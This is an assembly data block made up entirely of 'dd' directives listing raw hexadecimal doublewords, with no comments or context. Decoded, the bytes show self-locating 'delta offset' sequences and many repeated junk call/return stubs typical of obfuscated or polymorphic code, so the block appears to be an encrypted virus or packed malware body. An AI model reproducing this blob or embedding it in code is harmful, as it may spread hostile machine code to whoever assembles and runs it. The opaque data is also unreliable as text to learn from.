		dd 2479D51Fh, 8A487142h, 4A5B662Fh, 48D575CCh, 42981291h
		dd 0A0502CC1h, 3DC9C9B2h, 33C87BC4h, 1D2E1E0Bh,	4F83DC98h
		dd 930D24AEh, 1D80421Bh, 0D0494598h, 0F44A658h,	70E32599h
		dd 19B0739Eh, 3A2C239Eh, 934EE0C6h, 9B0F07DAh, 0E8107DAh
		dd 5AC2239Eh, 7208E0CEh, 0F2AA7417h, 9B88A8F8h,	0C9DA07AAh
		dd 1A7C6103h, 1A08CBC8h, 44A5239Eh, 6E4B7D5Dh, 5EE027BAh
		dd 1AAB27BAh, 4C1E239Eh, 82623F5Dh, 0B9E97A53h,	1C892C84h
		dd 9B85239Eh, 0A03EEA50h, 1A6ACAA5h, 62D9239Eh,	4C7A104Dh
		dd 0E15230E5h, 0A7A3DCF7h, 930D2482h, 1D926A0Bh, 0EE47AE98h
		dd 156729EEh, 1AB0271Eh, 40E2459Eh, 2BFCDCEEh, 1D19AA1Bh
		dd 9F8EAA98h, 0DC83249Ch, 1DD7061Bh, 1A0B6498h,	1AB3CBCDh
		dd 4178239Eh, 46A5785Dh, 5E9727BAh, 1A1F27BAh, 49C6239Eh
		dd 723A245Dh, 3922BCF8h, 1E31F315h, 342E09BAh, 91D2A8E0h
		dd 1D017E23h, 0A7BEDC98h, 91832482h, 1DCFCA0Bh,	0EEE4AE98h
		dd 31B629EEh, 1D687213h, 4AFCDC98h, 37F7AE15h, 93552599h
		dd 1D98C21Bh, 697D4598h, 3FE4E53Dh, 49B6248Bh, 0F20E23F4h
		dd 1A2C239Dh, 44D57DBEh, 1E2F5717h, 1EA1671Fh, 1AC2238Bh
		dd 0B2A275D8h, 527F4B1Eh, 913ED311h, 3E18A248h,	73A034C1h
		dd 0F25D23F4h, 1A85239Dh, 44017DBEh, 1E455717h,	1E94671Fh
		dd 1A582387h, 97EF75D8h, 0EF8F7BA5h, 0A7BEDC21h, 70832482h
		dd 192A759Eh, 3A61239Eh, 93EEE0C0h, 9B5C07EAh, 0E2807DAh
		dd 5C16239Eh, 91B9E0C8h, 1D804A23h, 0EE47AE98h,	706729EEh
		dd 1958749Eh, 3A58239Eh, 9373E0C1h, 9B1207E2h, 60F07DAh
		dd 5D85239Eh, 25FE0C9h,	7681475Eh, 9AEABC23h, 0AFD35F58h
		dd 1C2B272Bh, 9170F361h, 38EAA66h, 13832482h, 1DD3E62Bh
		dd 2FEC1298h, 0DCB624B7h, 1D4D061Bh, 1A467498h,	1A15CBCEh
		dd 422B239Eh, 5E0C7B5Dh, 5E4327BAh, 1A7A27BAh, 4AF0239Eh
		dd 6266C55Dh, 9BC13FD0h, 3BA945B1h, 5244B0Bh, 7AE59051h
		dd 162B42FEh, 6861239Eh, 466B5D6Dh, 0A51838EEh,	7B260936h
		dd 1A982CCEh, 440B239Eh, 3EB1A2FFh, 39096EB7h, 8E09615h
		dd 10582599h, 2E58239Eh, 0BF26D21Bh, 668D91Ah, 0CF8EAAA3h
		dd 4583248Ch, 67F9661h,	1A0B2599h, 1AB3CBCBh, 4778239Eh
		dd 76A57E5Dh, 5E9727BAh, 1A1127BAh, 4FC0239Eh, 0EFCACD5Dh
		dd 0B3960C6h, 6A44A613h, 9F572594h, 1A2C2398h, 1D39615h
		dd 0E5F72599h, 3F08A84Eh, 93C424AFh, 1D401E1Bh,	4DB04998h
		dd 1A582076h, 0D973039Eh, 3E6AAAC1h, 3E4FA29Ah,	1A85369Ah
		dd 0D995649Eh, 9FA790C6h, 1CB736BBh, 0D3AEA2DDh, 1579A2B1h
		dd 1A162612h, 88A99C9Eh, 69ED1968h, 0F3516B39h,	1A612399h
		dd 0A890479Eh, 9BBE73C3h, 0D299079Ah, 1A7C0AD9h, 1A08CBC9h
		dd 45A5239Eh, 664B7C5Dh, 5EE027BAh, 1AAB27BAh, 4D1F239Eh
		dd 0B6ECB35Dh, 0F8F0C01Ah, 9CB1451Fh, 0A730DC7Eh, 70C42482h
		dd 1989749Eh, 3AB0239Eh, 9307E0C1h, 9B2807E2h, 11207DAh
		dd 5D0B239Eh, 5EB4E0C9h, 0E1F52F21h, 0AD6EFAAEh, 0EE35AE6Ch
		dd 0F25E29EEh, 1A2C238Ch, 0C8E71E16h, 4806206h,	0C9C981C6h
		dd 9568DB9h, 0A752917Fh, 1CB728DFh, 7088DCC0h, 19C4759Eh
		dd 3A16239Eh, 9355E0C0h, 9B8107EAh, 6C607DAh, 5C61239Eh
		dd 64EDE0C8h, 0CBA64883h, 0F3430647h, 1A16238Ch, 603E4FA6h
		dd 1F2EE68h, 858848F7h
		dd 0BA76FC9Fh, 9F39D52Fh, 1C5F3EBFh, 5993E127h,	0BB93AECCh
		dd 4A0D293Ch, 7C2A94FEh, 93A3E815h, 1A0B079Ah, 1AB3CBC8h
		dd 4478239Eh, 6EA57D5Dh, 5E9727BAh, 1A1E27BAh, 4CC3239Eh
		dd 7CEAED5Dh, 0F2FCC21Fh, 0DA0F2CFEh, 8F1B617h,	0E54D2599h
		dd 1D35D20Bh, 14872C98h, 7A85239Eh, 3403AE15h, 87EA2599h
		dd 1CB70AABh, 7080A8FFh, 19C4719Eh, 3A16239Eh, 9351E0C4h
		dd 9B8107CAh, 0FC607DAh, 5861239Eh, 56E6E0CCh, 645AE15h
		dd 9FA12599h, 1C1C810Bh, 0F25923F4h, 1A85239Dh,	400179BEh
		dd 1E457717h, 1E94671Fh, 1A58238Bh, 15EF71DCh, 6B9B20B7h
		dd 8A0D248Fh, 1A852B76h, 0C26AFE9Eh, 0C6898A31h, 76439A27h
		dd 4A01580Bh, 70BCD215h, 19FE769Eh, 3A0B239Eh, 93D8E0C3h
		dd 9BC607F2h, 6507DAh, 5FB0239Eh, 2B09E0CBh, 39E860FAh
		dd 873D43C5h, 1C0C0F6Bh, 91E4ED15h, 1DD02E0Bh, 1A73CA98h
		dd 4FD9239Eh, 0E802069Ch, 0CFD43A59h, 0EB4AC9C2h, 5D41E0DDh
		dd 4A4DA90Dh, 1ACBCAC8h, 6432239Eh, 48FCB0A5h, 40F69D29h
		dd 482C490Dh, 1A162076h, 0D951039Eh, 3ED1AAC4h,	3E86A29Ah
		dd 1A61399Ah, 0D9E2619Eh, 7B750D61h, 0E5E240A4h, 1D26760Bh
		dd 490B4998h, 1A852076h, 0D999039Eh, 3E3DAAC5h,	3EF4A29Ah
		dd 1A583B9Ah, 0D97F609Eh, 34943D6Bh, 2DECA204h,	0E29266F6h
		dd 2A3A617h, 0AFEA2599h, 1CB72EB7h, 24DA659h, 1A232599h
		dd 0A79F239Eh, 1C0C1307h, 2E4B661h, 9F4B2599h, 1C662A53h
		dd 2999A617h, 1A322599h, 1A2FCBC8h, 4436239Eh, 6E827D5Dh
		dd 5E0427BAh, 1AD627BAh, 4C27239Eh, 9F3BB45Dh, 1C5F3843h
		dd 0AF1FBE13h, 599F2594h, 0B3B6AE9Fh, 97832488h, 10772E2Bh
		dd 1A529A98h, 0BE43239Eh, 1AE01075h, 112C239Eh,	0D815575Eh
		dd 5E802386h, 0F2D62FBAh, 1AC2239Eh, 0DA2A2C5h,	93B0239Eh
		dd 934807C2h, 413807DAh, 85B61426h, 91EBDC9Eh, 0E58107DAh
		dd 197B457Eh, 4A614986h, 1AB02076h, 0D900039Eh,	3E68AAC6h
		dd 3E52A29Ah, 1A0B359Ah, 0D9D5639Eh, 15431991h,	1B00D529h
		dd 1D913203h, 8FE5AE98h, 972A293Ch, 10A3AB13h, 0B13E9B98h
		dd 9FB6BBB8h, 1CC503CBh, 0B77AECB5h, 990A8FB6h,	0ADDAEA25h
		dd 99323DAEh, 8FA7DB25h, 9E1C2B21h, 23991F56h, 5E98346h
		dd 0D98BA4F3h, 4D9BD89h, 3CE90607h, 60000000h, 53D68B66h
		dd 5AD8B70Fh, 81606161h, 12D79DD8h, 8B66606Dh, 0ABF681F9h
		dd 61364EFFh, 6AC361h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BFD8CC3h, 0BD83F8C0h, 6070211h
		dd 83097500h, 70D65BDh,	19740006h, 0C08B5350h, 4B9B8h
		dd 0A9858900h, 8D060723h, 9AB0F9Dh, 5BD3FF06h, 65BD8358h
		dd 6070Dh, 53501774h, 4B9B8h, 0A9858900h, 8D060723h, 9A7B09Dh
		dd 5BD3FF06h, 18F0F58h,	0F8000000h, 168D0FFCh, 0E9000000h
		dd 11h,	0CBBA4332h, 0F827CD26h,	0B4BE1DA3h, 158895D7h
		dd 0FC08B32h, 1588h, 10E900h, 561D0000h, 0B841274Ch, 1120D9D2h
		dd 0B1979F30h, 8B40F623h, 57006AC1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 39B589F4h
		dd 0EB060733h, 4, 6AF800h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8D66E1C3h, 72C6185h
		dd 5090FC06h, 48E0Fh, 0BE660000h, 8B90F98Ah, 718E9B5h
		dd 0F006A06h, 6AF1BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 72C35242h, 0EB4883F0h, 0B832858Dh, 8D89060Ah
		dd 6070349h, 2905C083h,	721499Dh, 8B669006h, 820F50FAh
		dd 2, 6A905E53h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 27C6C353h, 0AD17D681h,	6A5699h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 19C35040h
		dd 63264988h, 6A006A9Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A4F8C353h,	0E1089A73h
		dd 9758BE19h, 95FF5B3Fh, 6071335h, 2179BD8Bh, 0BD8B0607h
		dd 6070EC9h, 939D9D8Dh,	6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 878C65C3h, 5C5A07BAh
		dd 8B856741h, 71A79BDh,	6AD3FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0E597C355h
		dd 1E159D89h, 0FFF80607h, 72C8985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0DA20BCFEh
		dd 50CD705Eh, 1C41B58Bh, 0E95E0607h, 6FBh, 0E8h, 0ED815D00h
		dd 60AB83Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	13C35343h, 65B58BA2h, 0F060713h, 0BD81FEBFh, 6071815h
		dd 7D0h, 11F860Fh, 0CE810000h, 6DDF9A77h, 63C2BE66h, 2099D8Bh
		dd 820F0607h, 6, 0A49B589h, 0E3810607h,	100h, 12E5BD2Bh
		dd 8E90607h, 34000000h,	0B679776Bh, 0BA6275Bh, 9B850FDBh
		dd 0F000000h, 0BD83FFBFh, 60AB6A4h, 34840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 628C356h,	2D31BD8Bh, 8DE90607h, 0F000000h
		dd 688h, 0D18D8900h, 0C706072Ch, 0AB6A485h, 106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 353B0884h, 9E835E7Fh, 4DE9DED6h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 6111C351h, 6AEFB476h, 85C7EBBEh, 60AB6A4h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 77C35747h
		dd 0CACFE8E2h, 2099D8Dh, 23810607h, 0FFFFFEFFh,	0A2DF8166h
		dd 6840F3Eh, 89000000h,	71DE595h, 0DB8C6606h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4CC35646h, 89BCDB1Eh
		dd 71DA9B5h, 6870F06h, 89000000h, 72E9995h, 4C3F606h, 3B840Fh
		dd 8D010000h, 6073141h,	186195FFh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 269065C3h
		dd 0B9A0C34h, 50F08B08h, 8B240489h, 70141BDh, 3F0E906h
		dd 85890000h, 6072EDDh,	0B58B00B0h, 6070A05h, 0FE970E6h
		dd 98000000h, 6EFA14E9h, 4A63561Ah, 0DC3DF5E7h,	71E4367Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8CC35646h
		dd 0EA0CEA7h, 9BE51FDh,	5E1AA99Ch, 6AD8B60Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 7E99C351h, 49857C21h, 6BAh, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A50DFE6Fh
		dd 8BF1BF0Fh, 0F6BF0FC3h, 31D9509h, 0E8C10607h,	0DE904h
		dd 13D30000h, 0DC483E36h, 0D76E6199h, 3337349Fh, 70005B5h
		dd 0E2F76606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	85C35545h, 0D56DCBB7h, 19319589h, 0D82B0607h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D6C35343h, 50F6B70Fh
		dd 0F241C89h, 0B5FFF0BFh, 6071815h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0DFC35343h,	0B6DB48D3h, 736BC0E5h
		dd 6995FF33h, 6A06071Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0A9E8C352h,	0B1B8763h
		dd 70375B5h, 0B5858906h, 0B0060732h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F1D1066Bh
		dd 0F18D89h, 8B660607h,	6A70E6FEh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0ADEBC355h
		dd 59BDAECEh, 0BE84Fh, 37330000h, 51640F48h, 141D9115h
		dd 3800F0Eh, 66000000h,	0E45EF28Bh, 6850F71h, 23000000h
		dd 72CA1BDh, 0F613C06h,	20583h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 191C3AE0h
		dd 0AF164777h, 0D8B60F67h, 2EAD9D01h, 6BA0607h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 51D6C356h, 5E5BD33h, 8B5F0607h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0E0D912BEh, 8B66A74Bh, 4E8C1F7h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6BC35545h, 0E0DC61B7h, 0FEBE8974h
		dd 891E67ADh, 718E985h,	0E2F76606h, 0A2F78156h,	5E62434Eh
		dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 411DECC3h, 0BE661856h, 0FA8B4992h, 5B58958h
		dd 2B06071Eh, 17880FD8h, 0E9000001h, 12h, 0A5B41433h, 3AF8680Eh
		dd 0CAE478C4h, 54E352E0h, 7B9AB9Fh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 367EC353h, 0C183F3h,	118788BEh, 0FD93B4Ch, 0CD86h, 4BF6600h
		dd 0D98C6672h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	8CC35040h, 3124C717h, 4AC833C1h, 8D9D895Eh, 0F6060705h
		dd 840F04C1h, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 15C35545h, 49B4C8ADh,	7672E0AAh, 6195FF87h
		dd 6A060718h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 5BF1C356h, 2FC5B58Bh, 0BD330607h
		dd 6070CB9h, 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 4C4295C3h, 3D5510F3h, 834h, 6860Fh
		dd 0BE90000h, 0F9000000h, 8957C08Bh, 70D11B5h, 0C38B5F06h
		dd 0B58BD88Bh, 607172Dh, 1C9185C7h, 0C5590607h,	6A7E29h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 498F2CC3h, 0DDB15E3h, 0C08B03C0h, 9EF68166h,	15BD8174h
		dd 0D0060718h, 0F000007h, 2285h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 1585FF9Ah
		dd 0FF060718h, 71815B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0E39DEFBDh, 8B858609h
		dd 6995FFF3h, 6606071Bh, 9C6EEE81h, 0DD8BCE81h,	0B8904618h
		dd 12345678h, 5830Fh, 8BE0000h,	8D606EADh, 0ABEB29Dh, 0F96AE906h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A1A5A9C3h, 0B982EBABh, 8E9ACA3h,	4E000000h
		dd 49E52995h, 60271A19h, 6699B660h, 0FB713BAh, 8Eh, 0BBDE8100h
		dd 61250815h, 9E9h, 6D29ED00h, 4AA5783Bh, 85894989h, 6071ABDh
		dd 0B58961F9h, 6071C05h, 8BF1B70Fh, 0DE957C1h, 0D4000000h
		dd 0CA1BC29Ch, 0B9F7247Dh, 9AC3134Eh, 4EB5Eh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 8922C350h, 0F224B2D1h, 958960A1h,	6070E1Dh
		dd 8762BE66h, 1E8D0F61h, 0F000000h, 1882h, 12E800h, 8A5A0000h
		dd 701E336Fh, 27DB770Dh, 0CDCFE126h, 0FF980036h, 61858D5Eh
		dd 6A06072Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E771C357h, 8BC211A2h,	71235BDh
		dd 5B58B06h, 9006070Eh,	870Fh, 66500000h, 90E410BFh, 0D6D8D89h
		dd 6A0607h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ah,	2C35141h, 0B2E211C2h, 0AE99D17h, 2C000000h, 0A19A0288h
		dd 0A97D4192h, 66006A6Eh, 0AD07C781h, 0C1A4858Dh, 6A060Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 40E43EC3h, 0B70FB6EEh, 81B523F2h, 8306071Eh,	6A05C0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4C2201C3h, 16831653h, 30499529h, 50900607h, 0CE952h
		dd 5DF30000h, 470679A7h, 744FB07Fh, 310F019Eh, 908BBE66h
		dd 9050585Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	10C35747h, 0E3781947h, 59BB3D3Ah, 39B58BADh, 6A06072Fh
		dd 19958900h, 6A060721h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 8406BF1Ah, 95FF0BBEh
		dd 6071335h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0C3C35242h, 0FD8E82BEh,	668F8592h, 0F029C781h
		dd 939D9D8Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FF36A4C3h, 55006AD3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h
		dd 478A229Fh, 0DE9BDF3h, 6C000000h, 26FFB6A5h, 0AF174449h
		dd 5BA2C1DEh, 85FFF78Bh, 6072C89h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0D5C35242h,	816632ECh, 314380F7h
		dd 70EE9BDh, 0E0BE906h,	0E80000h, 5D000000h, 0C1AEED81h
		dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 824FAEC3h, 6965B035h, 2CC071BEh, 15BD8115h
		dd 0D0060718h, 0F000007h, 11286h, 0A0BF6600h, 0ED9D8BF4h
		dd 6A060719h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 81F5C351h, 100E3h, 9E900h, 0ADBE0000h
		dd 0FAC19E3h, 0B4CD498h, 7D850FDBh, 66000000h, 7EF2DE81h
		dd 0BD83F98Bh, 60ABF4Ah, 2E840F00h, 8B000000h, 715F1B5h
		dd 6AE906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 66DA93C3h, 3BBCF781h, 4A85C7F8h
		dd 1060ABFh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0A64DC353h,	909BC5Dh
		dd 701318Dh, 12E906h, 0B58B0000h, 60703C9h, 0BF4A85C7h
		dd 60Ah, 5F570000h, 19ED9D8Dh, 6A0607h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8F5594C3h
		dd 78D56CD8h, 8E9h, 0CD1B9B00h,	0E290214Ah, 79B5893Bh
		dd 81060731h, 0FFFEFF23h, 0FFDF81FFh, 66719BE2h, 6ADB8Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 51640FC3h, 0F04C3F6h, 2884h,	6195FF00h, 0F5060718h
		dd 60536050h, 66605F61h, 0DE9D88Bh, 0C0000000h,	72797BA4h
		dd 5491DAF5h, 6AF6D185h, 4896161h, 450E924h, 0BD890000h
		dd 6071435h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 826611C3h, 0DC4D84A6h, 6A70E6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0D3B71DC3h, 5D3EC5E0h, 85014004h, 6071785h, 6800Fh
		dd 0B58B0000h, 60727F5h, 6A71E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0ADA95AC3h, 95319E14h
		dd 6072731h, 0E8D8B60Fh, 8, 0F476A196h,	7AD9A86h, 58B0Fh
		dd 81660000h, 5F7CFACFh, 6BAh, 58D8900h, 8B06070Bh, 4E8C1C3h
		dd 0E2F766F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	1AC35646h, 4AD4EE4Eh, 0BD230722h, 6071601h, 2CF5BD8Bh
		dd 0D82B0607h, 0CE9h, 0B1535D00h, 0B8EB4987h, 7F77414Ch
		dd 34A5BE60h, 66937FB3h, 8B50FE8Bh, 8D2993F2h, 60703C9h
		dd 1815B5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 78C43AC3h, 52E0CAE4h, 852954E3h
		dd 6070AA1h, 1B6995FFh,	6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 815648C3h, 76340042h
		dd 0BD0B5001h, 6071535h, 8E900B0h, 84000000h, 73620118h
		dd 0E94AF898h, 9, 0D68543B3h, 55F9F58Bh, 6A70E612h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 1C0EC352h, 0A22D29ADh, 0FF28B66h, 8166F9BFh,	0E44269DFh
		dd 0F613C71h, 28D83h, 159D8900h, 0F060715h, 6AD8B6h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1A606BC3h, 0DD851848h, 65BD89AAh, 0BA060715h, 6, 0CE860h
		dd 0E6510000h, 9EF94CB0h, 0FFD439CCh, 8A0FE6B4h, 0
		dd 8B61F558h, 5E8C3h, 3E860000h, 525FDD98h, 5E5EF88Bh
		dd 45952360h, 0BB060731h, 5ED10F2Bh, 4E8C161h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7C35242h, 6698C3D9h
		dd 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0D82B3FC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 3AC35343h, 553C4225h,	858D29C7h, 5806071Dh
		dd 880FD82Bh, 1AAh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0C6C35141h, 3A8F4756h, 3099BD8Bh, 7B90607h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 8606C351h, 12492C34h, 0F09980Ah
		dd 686h, 3D853100h, 8B060702h, 705EDB5h, 0A58D8906h, 8306070Eh
		dd 0F5600C1h, 689h, 19B52B00h, 5E060710h, 860FD93Bh, 12Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E1C35343h
		dd 0D2C97D21h, 0DB460C40h, 9E8h, 114A9D00h, 0F8C9B33Ah
		dd 8E8D2E5h, 0C8000000h, 762E260Ah, 5F06ED4Bh, 0D98C665Fh
		dd 0C459589h, 0C1F60607h, 0C4840F04h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 83C4C350h, 7A625EFCh, 0FFF08B66h, 7186195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9A1530Dh, 30BC6E84h,	0FA8B5B90h, 800FC32Bh, 1, 8343DFCh
		dd 860F0000h, 5Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 83C35242h, 362662D2h,	0E681302Bh, 1829FE16h
		dd 0CA59D89h, 3FE90607h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 39E7C351h
		dd 2D7A322Dh, 6071B135h, 32C99D01h, 8B610607h, 5E8C0h
		dd 2A7C0000h, 89C816B6h, 731D19Dh, 0C38B5F06h, 6AD88Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 935B82C3h, 9D8D896Ch, 8906072Eh, 704C585h, 985C706h
		dd 0F5060702h, 6A1BE945h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 6B7DC352h, 302A4E9Eh
		dd 2BB7659Eh, 8B57C08Bh, 70A65BDh, 0BD815E06h, 6071815h
		dd 7D0h, 34850Fh, 0BD8B0000h, 6071CB9h,	2D89B589h, 85FF0607h
		dd 6071815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	7CC35545h, 76595286h, 0B5FF5D5Ch, 6071815h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 9EC35040h, 891B9E2Eh
		dd 731E1B5h, 6995FF06h,	6A06071Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D72C355h
		dd 0A5A902F1h, 0DE94090h, 4C000000h, 0E82B4E01h, 0AC69E27Eh
		dd 0BEC1CFFh, 1885BD83h, 0F000607h, 11C84h, 0A5BD8B00h
		dd 66060704h, 83DBE7BFh, 70E25BDh, 840F0006h, 105h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E1C35040h, 477A0C94h
		dd 598501E3h, 8B060719h, 715F1B5h, 8595FF06h, 6A060718h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FA9C351h, 0BD0BFFB7h, 6070369h, 2DD9B58Bh
		dd 0C00B0607h, 9F840Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 736184C3h, 880F1DC1h
		dd 0Ch,	68F0Fh,	8D290000h, 60720D1h, 4B4A8D8Dh,	6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 12BC30C3h, 0AF78557Fh, 0B8F8B70Fh, 5, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0E1C35545h, 13E9h
		dd 0D7ABED00h, 0A765CED2h, 9DD4A71h, 7039F0C8h,	6819171Eh
		dd 31E1FFFCh, 72F39BDh,	0E1BD8306h, 60715h, 5A0840Fh, 8D010000h
		dd 6070B3Dh, 0E25BD83h,	0F000607h, 58D84h, 3D8D8D00h, 0F060703h
		dd 38Ch, 0F1BF0F00h, 7C8401C7h,	5E944B2h, 5A000000h, 0FAD0B85Fh
		dd 0CFCB0181h, 860F1499h, 6, 1A41BD8Bh,	41C70607h, 706B3404h
		dd 0CE8CEh, 0A3B0000h, 99D4D57h, 2C9ED988h, 850FD7FBh
		dd 0
		dd 441815Fh, 31D6D710h,	1E1DB52Bh, 6A0607h, 2021BD8Bh
		dd 8B0F0607h, 8, 2880Fh, 5E510000h, 33D858Dh, 850F0607h
		dd 6, 1B359D89h, 66900607h, 50DF96BEh, 48AEA0BFh, 6A9047h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0B90DCAC3h, 3CF005E4h, 7BC78163h, 0FF74A874h, 715E195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 6679CC5Eh, 8DBEBEBFh, 7033D8Dh, 6E7DBE06h
		dd 1C77170h, 0
